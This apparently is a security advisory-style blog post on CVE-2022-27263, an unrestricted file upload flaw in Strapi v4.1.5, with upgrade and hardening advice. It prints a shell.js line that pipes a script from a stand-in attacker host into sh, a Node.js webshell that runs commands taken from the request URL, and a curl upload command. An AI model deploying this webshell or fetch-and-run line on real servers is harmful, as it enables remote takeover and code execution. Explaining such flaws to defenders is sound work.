Published: June 2024

Overview

CVE-2022-27263 is a severe vulnerability discovered in Strapi, a popular open-source Headless CMS. In version v4.1.5, a flaw in its file upload module allows an attacker to upload any file type. That means attackers can upload files containing malicious code and execute it on the server. In other words: this vulnerability could lead to a full server takeover!

Let’s break down what happened, how attackers exploit it, and what you should do — with real-world code examples.

What is Strapi?

Strapi is a Node.js-based content management system used to manage and deliver content via an API. It’s widely used for its flexibility and ease of use. But, like many platforms, security holes do appear.

How Did This Vulnerability Work?

Strapi’s upload plugin didn’t properly check the type of files being uploaded in v4.1.5. Attackers could upload any file including JavaScript, PHP, or even binary files. If these malicious files are then accessible and executed by the web server, it gives attackers the ability to run their own code on your server.

Exploit Scenario: Step-by-Step

Let’s walk through how an attacker could exploit this in real life.

Strapi’s upload API is usually at

POST http(s)://your-strapi-domain/api/upload

An attacker would register or hijack a low-privilege account and get an authorization token.

2. Craft a Malicious Payload

Suppose the server is set up to execute .js files (or another executable enabled by server misconfiguration), an attacker could upload a file like shell.js:

// shell.js
require('child_process').exec('curl http://evil.attacker/steal.sh | sh');

Or, more commonly, a simple webshell like

// shell.js
const { exec } = require('child_process');
const http = require('http');

http.createServer((req, res) => {
    let cmd = req.url.substring(1); // e.g. /ls
    exec(cmd, (err, stdout, stderr) => {
        res.end(stdout + stderr);
    });
}).listen(8081);

Using curl

curl -X POST http://your-strapi-domain/api/upload \
  -H "Authorization: Bearer <your_token>" \
  -F "files=@shell.js"

If the uploaded files are served directly (e.g., under /uploads/), the attacker can access

http://your-strapi-domain/uploads/shell.js

If the Node.js server is misconfigured, this could allow remote execution. Even if direct code execution isn’t possible, the attacker still has a foothold and can try secondary exploits.

Note: The risk is even higher if the server allows uploading .exe, .php, or .sh files, depending on server-side interpreter configurations.

Original Disclosure and References

- GitHub Advisory: GHSA-hjw6-833g-gcp8
- Original CVE entry - NVD
- Strapi - Security advisories
- Exploit Details

Remediation

Update immediately! Strapi patched this bug in later releases. Upgrade to the latest version of Strapi v4.

Additional Recommendations

- Restrict file types: Use strict whitelisting (e.g., only images/allowed mime types).

Isolate uploads: Serve files via a CDN or separate domain.

- Monitor logs: Watch for suspicious uploads or abnormal traffic to the /uploads/ directory.

Conclusion

CVE-2022-27263 in Strapi v4.1.5 is a critical bug that lets attackers upload and execute arbitrary files. If you use Strapi (especially public servers), patch immediately and review your file upload security!

Attackers won’t wait for you to catch up.

Stay secure and keep your dependencies up to date.  
For more details, always refer to official security advisories.

Timeline

Published on: 04/12/2022 17:15:00 UTC
Last modified on: 04/19/2022 19:28:00 UTC